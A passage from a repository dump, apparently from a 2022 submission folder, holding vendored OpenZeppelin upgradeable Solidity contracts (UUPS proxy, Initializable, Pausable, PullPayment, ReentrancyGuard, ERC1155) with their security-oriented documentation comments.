This security mechanism can be bypassed by either of:\n\n- Adding a flag mechanism in the implementation that will disable the upgrade function when triggered.\n- Upgrading to an implementation that features an upgrade mechanism without the additional security check, and then upgrading again to another implementation without the upgrade mechanism.\n\n== Core\n\n{{Proxy}}\n\n== ERC1967\n\n{{ERC1967Proxy}}\n\n{{ERC1967Upgrade}}\n\n== Transparent Proxy\n\n{{TransparentUpgradeableProxy}}\n\n{{ProxyAdmin}}\n\n== Beacon\n\n{{BeaconProxy}}\n\n{{IBeacon}}\n\n{{UpgradeableBeacon}}\n\n== Minimal Clones\n\n{{Clones}}\n\n== Utils\n\n{{Initializable}}\n\n{{UUPSUpgradeable}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/proxy/beacon/IBeaconUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This is the interface that {BeaconProxy} expects of its beacon.\n */\ninterface IBeaconUpgradeable {\n    /**\n     * @dev Must return an address that can be used as a delegate call target.\n     *\n     * {BeaconProxy} will check that this address is a contract.\n     */\n    function implementation() external view returns (address);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the\n * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() initializer {}\n * ```\n * ====\n */\nabstract contract Initializable {\n    /**\n     * @dev Indicates that the contract has been initialized.\n     */\n    bool private _initialized;\n\n    /**\n     * @dev Indicates that the contract is in the process of being initialized.\n     */\n    bool private _initializing;\n\n    /**\n     * @dev Modifier to protect an initializer function from being invoked twice.\n     */\n    modifier initializer() {\n        // If the contract is initializing we ignore whether _initialized is set in order to support multiple\n        // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the\n        // contract may have been reentered.\n        require(_initializing ? _isConstructor() : !_initialized, \"Initializable: contract is already initialized\");\n\n        bool isTopLevelCall = !_initializing;\n        if (isTopLevelCall) {\n            _initializing = true;\n            _initialized = true;\n        }\n\n        _;\n\n        if (isTopLevelCall) {\n            _initializing = false;\n        }\n    }\n\n    /**\n     * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n     * {initializer} modifier, directly or indirectly.\n     */\n    modifier onlyInitializing() {\n        require(_initializing, \"Initializable: contract is not initializing\");\n        _;\n    }\n\n    function _isConstructor() private view returns (bool) {\n        return !AddressUpgradeable.isContract(address(this));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/UUPSUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/utils/UUPSUpgradeable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC1967/ERC1967UpgradeUpgradeable.sol\";\nimport \"./Initializable.sol\";\n\n/**\n * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an\n * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.\n *\n * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is\n * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing\n * `UUPSUpgradeable` with a custom implementation of upgrades.\n *\n * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.\n *\n * _Available since v4.1._\n */\nabstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable {\n    function __UUPSUpgradeable_init() internal onlyInitializing {\n        __ERC1967Upgrade_init_unchained();\n        __UUPSUpgradeable_init_unchained();\n    }\n\n    function __UUPSUpgradeable_init_unchained() internal onlyInitializing {\n    }\n    /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment\n    address private immutable __self = address(this);\n\n    /**\n     * @dev Check that the execution is being performed through a delegatecall call and that the execution context is\n     * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case\n     * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a\n     * function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to\n     * fail.\n     */\n    modifier onlyProxy() {\n        require(address(this) != __self, \"Function must be called through delegatecall\");\n        require(_getImplementation() == __self, \"Function must be called through active proxy\");\n        _;\n    }\n\n    /**\n     * @dev Upgrade the implementation of the proxy to `newImplementation`.\n     *\n     * Calls {_authorizeUpgrade}.\n     *\n     * Emits an {Upgraded} event.\n     */\n    function upgradeTo(address newImplementation) external virtual onlyProxy {\n        _authorizeUpgrade(newImplementation);\n        _upgradeToAndCallSecure(newImplementation, new bytes(0), false);\n    }\n\n    /**\n     * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call\n     * encoded in `data`.\n     *\n     * Calls {_authorizeUpgrade}.\n     *\n     * Emits an {Upgraded} event.\n     */\n    function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy {\n        _authorizeUpgrade(newImplementation);\n        _upgradeToAndCallSecure(newImplementation, data, true);\n    }\n\n    /**\n     * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by\n     * {upgradeTo} and {upgradeToAndCall}.\n     *\n     * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.\n     *\n     * ```solidity\n     * function _authorizeUpgrade(address) internal override onlyOwner {}\n     * ```\n     */\n    function _authorizeUpgrade(address newImplementation) internal virtual;\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/security/PausableUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which allows children to implement an emergency stop\n * mechanism that can be triggered by an authorized account.\n *\n * This module is used through inheritance. It will make available the\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\n * the functions of your contract. Note that they will not be pausable by\n * simply including this module, only once the modifiers are put in place.\n */\nabstract contract PausableUpgradeable is Initializable, ContextUpgradeable {\n    /**\n     * @dev Emitted when the pause is triggered by `account`.\n     */\n    event Paused(address account);\n\n    /**\n     * @dev Emitted when the pause is lifted by `account`.\n     */\n    event Unpaused(address account);\n\n    bool private _paused;\n\n    /**\n     * @dev Initializes the contract in unpaused state.\n     */\n    function __Pausable_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __Pausable_init_unchained();\n    }\n\n    function __Pausable_init_unchained() internal onlyInitializing {\n        _paused = false;\n    }\n\n    /**\n     * @dev Returns true if the contract is paused, and false otherwise.\n     */\n    function paused() public view virtual returns (bool) {\n        return _paused;\n    }\n\n    /**\n     * @dev Modifier to make a function callable only when the contract is not paused.\n     *\n     * Requirements:\n     *\n     * - The contract must not be paused.\n     */\n    modifier whenNotPaused() {\n        require(!paused(), \"Pausable: paused\");\n        _;\n    }\n\n    /**\n     * @dev Modifier to make a function callable only when the contract is paused.\n     *\n     * Requirements:\n     *\n     * - The contract must be paused.\n     */\n    modifier whenPaused() {\n        require(paused(), \"Pausable: not paused\");\n        _;\n    }\n\n    /**\n     * @dev Triggers stopped state.\n     *\n     * Requirements:\n     *\n     * - The contract must not be paused.\n     */\n    function _pause() internal virtual whenNotPaused {\n        _paused = true;\n        emit Paused(_msgSender());\n    }\n\n    /**\n     * @dev Returns to normal state.\n     *\n     * Requirements:\n     *\n     * - The contract must be paused.\n     */\n    function _unpause() internal virtual whenPaused {\n        _paused = false;\n        emit Unpaused(_msgSender());\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/security/PullPaymentUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (security/PullPayment.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/escrow/EscrowUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Simple implementation of a\n * https://consensys.github.io/smart-contract-best-practices/recommendations/#favor-pull-over-push-for-external-calls[pull-payment]\n * strategy, where the paying contract doesn't interact directly with the\n * receiver account, which must withdraw its payments itself.\n *\n * Pull-payments are often considered the best practice when it comes to sending\n * Ether, security-wise. It prevents recipients from blocking execution, and\n * eliminates reentrancy concerns.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n *\n * To use, derive from the `PullPayment` contract, and use {_asyncTransfer}\n * instead of Solidity's `transfer` function. Payees can query their due\n * payments with {payments}, and retrieve them with {withdrawPayments}.\n */\nabstract contract PullPaymentUpgradeable is Initializable {\n    EscrowUpgradeable private _escrow;\n\n    function __PullPayment_init() internal onlyInitializing {\n        __PullPayment_init_unchained();\n    }\n\n    function __PullPayment_init_unchained() internal onlyInitializing {\n        _escrow = new EscrowUpgradeable();\n        _escrow.initialize();\n    }\n\n    /**\n     * @dev Withdraw accumulated payments, forwarding all gas to the recipient.\n     *\n     * Note that _any_ account can call this function, not just the `payee`.\n     * This means that contracts unaware of the `PullPayment` protocol can still\n     * receive funds this way, by having a separate account call\n     * {withdrawPayments}.\n     *\n     * WARNING: Forwarding all gas opens the door to reentrancy vulnerabilities.\n     * Make sure you trust the recipient, or are either following the\n     * checks-effects-interactions pattern or using {ReentrancyGuard}.\n     *\n     * @param payee Whose payments will be withdrawn.\n     */\n    function withdrawPayments(address payable payee) public virtual {\n        _escrow.withdraw(payee);\n    }\n\n    /**\n     * @dev Returns the payments owed to an address.\n     * @param dest The creditor's address.\n     */\n    function payments(address dest) public view returns (uint256) {\n        return _escrow.depositsOf(dest);\n    }\n\n    /**\n     * @dev Called by the payer to store the sent amount as credit to be pulled.\n     * Funds sent in this way are stored in an intermediate {Escrow} contract, so\n     * there is no danger of them being spent before withdrawal.\n     *\n     * @param dest The destination address of the funds.\n     * @param amount The amount to transfer.\n     */\n    function _asyncTransfer(address dest, uint256 amount) internal virtual {\n        _escrow.deposit{value: amount}(dest);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/security/README.adoc",
    "content": "= Security\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/security\n\nThese contracts aim to cover common security practices.\n\n* {PullPayment}: A pattern that can be used to avoid reentrancy attacks.\n* {ReentrancyGuard}: A modifier that can prevent reentrancy during certain functions.\n* {Pausable}: A common emergency response mechanism that can pause functionality while a remediation is pending.\n\nTIP: For an overview on reentrancy and the possible mechanisms to prevent it, read our article https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n\n== Contracts\n\n{{PullPayment}}\n\n{{ReentrancyGuard}}\n\n{{Pausable}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/security/ReentrancyGuardUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuardUpgradeable is Initializable {\n    // Booleans are more expensive than uint256 or any type that takes up a full\n    // word because each write operation emits an extra SLOAD to first read the\n    // slot's contents, replace the bits taken up by the boolean, and then write\n    // back. This is the compiler's defense against contract upgrades and\n    // pointer aliasing, and it cannot be disabled.\n\n    // The values being non-zero value makes deployment a bit more expensive,\n    // but in exchange the refund on every call to nonReentrant will be lower in\n    // amount. Since refunds are capped to a percentage of the total\n    // transaction's gas, it is best to keep them low in cases like this one, to\n    // increase the likelihood of the full refund coming into effect.\n    uint256 private constant _NOT_ENTERED = 1;\n    uint256 private constant _ENTERED = 2;\n\n    uint256 private _status;\n\n    function __ReentrancyGuard_init() internal onlyInitializing {\n        __ReentrancyGuard_init_unchained();\n    }\n\n    function __ReentrancyGuard_init_unchained() internal onlyInitializing {\n        _status = _NOT_ENTERED;\n    }\n\n    /**\n     * @dev Prevents a contract from calling itself, directly or indirectly.\n     * Calling a `nonReentrant` function from another `nonReentrant`\n     * function is not supported. It is possible to prevent this from happening\n     * by making the `nonReentrant` function external, and making it call a\n     * `private` function that does the actual work.\n     */\n    modifier nonReentrant() {\n        // On the first call to nonReentrant, _notEntered will be true\n        require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n        // Any calls to nonReentrant after this point will fail\n        _status = _ENTERED;\n\n        _;\n\n        // By storing the original value once again, a refund is triggered (see\n        // https://eips.ethereum.org/EIPS/eip-2200)\n        _status = _NOT_ENTERED;\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/ERC1155Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC1155Upgradeable.sol\";\nimport \"./IERC1155ReceiverUpgradeable.sol\";\nimport \"./extensions/IERC1155MetadataURIUpgradeable.sol\";\nimport \"../../utils/AddressUpgradeable.sol\";\nimport \"../../utils/ContextUpgradeable.sol\";\nimport \"../../utils/introspection/ERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of the basic standard multi-token.\n * See https://eips.ethereum.org/EIPS/eip-1155\n * Originally based on code by Enjin: https://github.com/enjin/erc-1155\n *\n * _Available since v3.1._\n */\ncontract ERC1155Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC1155Upgradeable, IERC1155MetadataURIUpgradeable {\n    using AddressUpgradeable for address;\n\n    // Mapping from token ID to account balances\n    mapping(uint256 => mapping(address => uint256)) private _balances;\n\n    // Mapping from account to operator approvals\n    mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n    // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json\n    string private _uri;\n\n    /**\n     * @dev See {_setURI}.\n     */\n    function __ERC1155_init(string memory uri_) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __ERC1155_init_unchained(uri_);\n    }\n\n    function __ERC1155_init_unchained(string memory uri_) internal onlyInitializing {\n        _setURI(uri_);\n    }\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {\n        return\n            interfaceId == type(IERC1155Upgradeable).interfaceId ||\n            interfaceId == type(IERC1155MetadataURIUpgradeable).interfaceId ||\n            super.supportsInterface(interfaceId);\n    }\n\n    /**\n     * @dev See {IERC1155MetadataURI-uri}.\n     *\n     * This implementation returns the same URI for *all* token types. It relies\n     * on the token type ID substitution mechanism\n     * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\n     *\n     * Clients calling this function must replace the `\\{id\\}` substring with the\n     * actual token type ID.\n     */\n    function uri(uint256) public view virtual override returns (string memory) {\n        return _uri;\n    }\n\n    /**\n     * @dev See {IERC1155-balanceOf}.\n     *\n     * Requirements:\n     *\n     * - `account` cannot be the zero address.\n     */\n    function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {\n        require(account != address(0), \"ERC1155: balance query for the zero address\");\n        return _balances[id][account];\n    }\n\n    /**\n     * @dev See {IERC1155-balanceOfBatch}.\n     *\n     * Requirements:\n     *\n     * - `accounts` and `ids` must have the same length.\n     */\n    function balanceOfBatch(address[] memory accounts, uint256[] memory ids)\n        public\n        view\n        virtual\n        override\n        returns (uint256[] memory)\n    {\n        require(accounts.length == ids.length, \"ERC1155: accounts and ids length mismatch\");\n\n        uint256[] memory batchBalances = new uint256[](accounts.length);\n\n        for (uint256 i = 0; i < accounts.length; ++i) {\n            batchBalances[i] = balanceOf(accounts[i], ids[i]);\n        }\n\n        return batchBalances;\n    }\n\n    /**\n     * @dev See {IERC1155-setApprovalForAll}.\n     */\n    function setApprovalForAll(address operator, bool approved) public virtual override {\n        _setApprovalForAll(_msgSender(), operator, approved);\n    }\n\n    /**\n     * @dev See {IERC1155-isApprovedForAll}.\n     */\n    function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {\n        return _operatorApprovals[account][operator];\n    }\n\n    /**\n     * @dev See {IERC1155-safeTransferFrom}.\n     */\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) public virtual override {\n        require(\n            from == _msgSender() || isApprovedForAll(from, _msgSender()),\n            \"ERC1155: caller is not owner nor approved\"\n        );\n        _safeTransferFrom(from, to, id, amount, data);\n    }\n\n    /**\n     * @dev See {IERC1155-safeBatchTransferFrom}.\n     */\n    function safeBatchTransferFrom(\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) public virtual override {\n        require(\n            from == _msgSender() || isApprovedForAll(from, _msgSender()),\n            \"ERC1155: transfer caller is not owner nor approved\"\n        );\n        _safeBatchTransferFrom(from, to, ids, amounts, data);\n    }\n\n    /**\n     * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n     *\n     * Emits a {TransferSingle} event.\n     *\n     * Requirements:\n     *\n     * - `to` cannot be the zero address.\n     * - `from` must have a balance of tokens of type `id` of at least `amount`.\n     * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n     * acceptance magic value.\n     */\n    function _safeTransferFrom(\n        address from,\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) internal virtual {\n        require(to != address(0), \"ERC1155: transfer to the zero address\");\n\n        address operator = _msgSender();\n\n        _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);\n\n        uint256 fromBalance = _balances[id][from];\n        require(fromBalance >= amount, \"ERC1155: insufficient balance for transfer\");\n        unchecked {\n            _balances[id][from] = fromBalance - amount;\n        }\n        _balances[id][to] += amount;\n\n        emit TransferSingle(operator, from, to, id, amount);\n\n        _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);\n    }\n\n    /**\n     * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.\n     *\n     * Emits a {TransferBatch} event.\n     *\n     * Requirements:\n     *\n     * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n     * acceptance magic value.\n     */\n    function _safeBatchTransferFrom(\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal virtual {\n        require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\n        require(to != address(0), \"ERC1155: transfer to the zero address\");\n\n        address operator = _msgSender();\n\n        _beforeTokenTransfer(operator, from, to, ids, amounts, data);\n\n        for (uint256 i = 0; i < ids.length; ++i) {\n            uint256 id = ids[i];\n            uint256 amount = amounts[i];\n\n            uint256 fromBalance = _balances[id][from];\n            require(fromBalance >= amount, \"ERC1155: insufficient balance for transfer\");\n            unchecked {\n                _balances[id][from] = fromBalance - amount;\n            }\n            _balances[id][to] += amount;\n        }\n\n        emit TransferBatch(operator, from, to, ids, amounts);\n\n        _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);\n    }\n\n    /**\n     * @dev Sets a new URI for all token types, by relying on the token type ID\n     * substitution mechanism\n     * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\n     *\n     * By this mechanism, any occurrence of the `\\{id\\}` substring in either the\n     * URI or any of the amounts in the JSON file at said URI will be replaced by\n     * clients with the token type ID.\n     *\n     * For example, the `https://token-cdn-domain/\\{id\\}.json` URI would be\n     * interpreted by clients as\n     * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`\n     * for token type ID 0x4cce0.\n     *\n     * See {uri}.\n     *\n     * Because these URIs cannot be meaningfully represented by the {URI} event,\n     * this function emits no events.\n     */\n    function _setURI(string memory newuri) internal virtual {\n        _uri = newuri;\n    }\n\n    /**\n     * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.\n     *\n     * Emits a {TransferSingle} event.\n     *\n     * Requirements:\n     *\n     * - `to` cannot be the zero address.\n     * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n     * acceptance magic value.\n     */\n    function _mint(\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) internal virtual {\n        require(to != address(0), \"ERC1155: mint to the zero address\");\n\n        address operator = _msgSender();\n\n        _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);\n\n        _balances[id][to] += amount;\n        emit TransferSingle(operator, address(0), to, id, amount);\n\n        _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);\n    }\n\n    /**\n     * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.\n     *\n     * Requirements:\n     *\n     * - `ids` and `amounts` must have the same length.\n     * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n     * acceptance magic value.\n     */\n    function _mintBatch(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal virtual {\n        require(to != address(0), \"ERC1155: mint to the zero address\");\n        require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\n\n        address operator = _msgSender();\n\n        _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\n\n        for (uint256 i = 0; i < ids.length; i++) {\n            _balances[ids[i]][to] += amounts[i];\n        }\n\n        emit TransferBatch(operator, address(0), to, ids, amounts);\n\n        _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);\n    }\n\n    /**\n     * @dev Destroys `amount` tokens of token type `id` from `from`\n     *\n     * Requirements:\n     *\n     * - `from` cannot be the zero address.\n     * - `from` must have at least `amount` tokens of token type `id`.\n     */\n    function _burn(\n        address from,\n        uint256 id,\n        uint256 amount\n    ) internal virtual {\n        require(from != address(0), \"ERC1155: burn from the zero address\");\n\n        address operator = _msgSender();\n\n        _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), \"\");\n\n        uint256 fromBalance = _balances[id][from];\n        require(fromBalance >= amount, \"ERC1155: burn amount exceeds balance\");\n        unchecked {\n            _balances[id][from] = fromBalance - amount;\n        }\n\n        emit TransferSingle(operator, from, address(0), id, amount);\n    }\n\n    /**\n     * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.\n     *\n     * Requirements:\n     *\n     * - `ids` and `amounts` must have the same length.\n     */\n    function _burnBatch(\n        address from,\n        uint256[] memory ids,\n        uint256[] memory amounts\n    ) internal virtual {\n        require(from != address(0), \"ERC1155: burn from the zero address\");\n        require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\n\n        address operator = _msgSender();\n\n        _beforeTokenTransfer(operator, from, address(0), ids, amounts, \"\");\n\n        for (uint256 i = 0; i < ids.length; i++) {\n            uint256 id = ids[i];\n            uint256 amount = amounts[i];\n\n            uint256 fromBalance = _balances[id][from];\n            require(fromBalance >= amount, \"ERC1155: burn amount exceeds balance\");\n            unchecked {\n                _balances[id][from] = fromBalance - amount;\n            }\n        }\n\n        emit TransferBatch(operator, from, address(0), ids, amounts);\n    }\n\n    /**\n     * @dev Approve `operator` to operate on all of `owner` tokens\n     *\n     * Emits a {ApprovalForAll} event.\n     */\n    function _setApprovalForAll(\n        address owner,\n        address operator,\n        bool approved\n    ) internal virtual {\n        require(owner != operator, \"ERC1155: setting approval status for self\");\n        _operatorApprovals[owner][operator] = approved;\n        emit ApprovalForAll(owner, operator, approved);\n    }\n\n    /**\n     * @dev Hook that is called before any token transfer. This includes minting\n     * and burning, as well as batched variants.\n     *\n     * The same hook is called on both single and batched variants. For single\n     * transfers, the length of the `id` and `amount` arrays will be 1.\n     *\n     * Calling conditions (for each `id` and `amount` pair):\n     *\n     * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n     * of token type `id` will be  transferred to `to`.\n     * - When `from` is zero, `amount` tokens of token type `id` will be minted\n     * for `to`.\n     * - when `to` is zero, `amount` of ``from``'s tokens of token type `id`\n     * will be burned.\n     * - `from` and `to` are never both zero.\n     * - `ids` and `amounts` have the same, non-zero length.\n     *\n     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n     */\n    function _beforeTokenTransfer(\n        address operator,\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal virtual {}\n\n    function _doSafeTransferAcceptanceCheck(\n        address operator,\n        address from,\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) private {\n        if (to.isContract()) {\n            try IERC1155ReceiverUpgradeable(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {\n                if (response != IERC1155ReceiverUpgradeable.onERC1155Received.selector) {\n                    revert(\"ERC1155: ERC1155Receiver rejected tokens\");\n                }\n            } catch Error(string memory reason) {\n                revert(reason);\n            } catch {\n                revert(\"ERC1155: transfer to non ERC1155Receiver implementer\");\n            }\n        }\n    }\n\n    function _doSafeBatchTransferAcceptanceCheck(\n        address operator,\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) private {\n        if (to.isContract()) {\n            try IERC1155ReceiverUpgradeable(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (\n                bytes4 response\n            ) {\n                if (response != IERC1155ReceiverUpgradeable.onERC1155BatchReceived.selector) {\n                    revert(\"ERC1155: ERC1155Receiver rejected tokens\");\n                }\n            } catch Error(string memory reason) {\n                revert(reason);\n            } catch {\n                revert(\"ERC1155: transfer to non ERC1155Receiver implementer\");\n            }\n        }\n    }\n\n    function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {\n        uint256[] memory array = new uint256[](1);\n        array[0] = element;\n\n        return array;\n    }\n    uint256[47] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/IERC1155ReceiverUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165Upgradeable.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155ReceiverUpgradeable is IERC165Upgradeable {\n    /**\n        @dev Handles the receipt of a single ERC1155 token type. This function is\n        called at the end of a `safeTransferFrom` after the balance has been updated.\n        To accept the transfer, this must return\n        `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n        (i.e. 0xf23a6e61, or its own function selector).\n        @param operator The address which initiated the transfer (i.e. msg.sender)\n        @param from The address which previously owned the token\n        @param id The ID of the token being transferred\n        @param value The amount of tokens being transferred\n        @param data Additional data with no specified format\n        @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n    */\n    function onERC1155Received(\n        address operator,\n        address from,\n        uint256 id,\n        uint256 value,\n        bytes calldata data\n    ) external returns (bytes4);\n\n    /**\n        @dev Handles the receipt of a multiple ERC1155 token types. This function\n        is called at the end of a `safeBatchTransferFrom` after the balances have\n        been updated. To accept the transfer(s), this must return\n        `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n        (i.e. 0xbc197c81, or its own function selector).\n        @param operator The address which initiated the batch transfer (i.e. msg.sender)\n        @param from The address which previously owned the token\n        @param 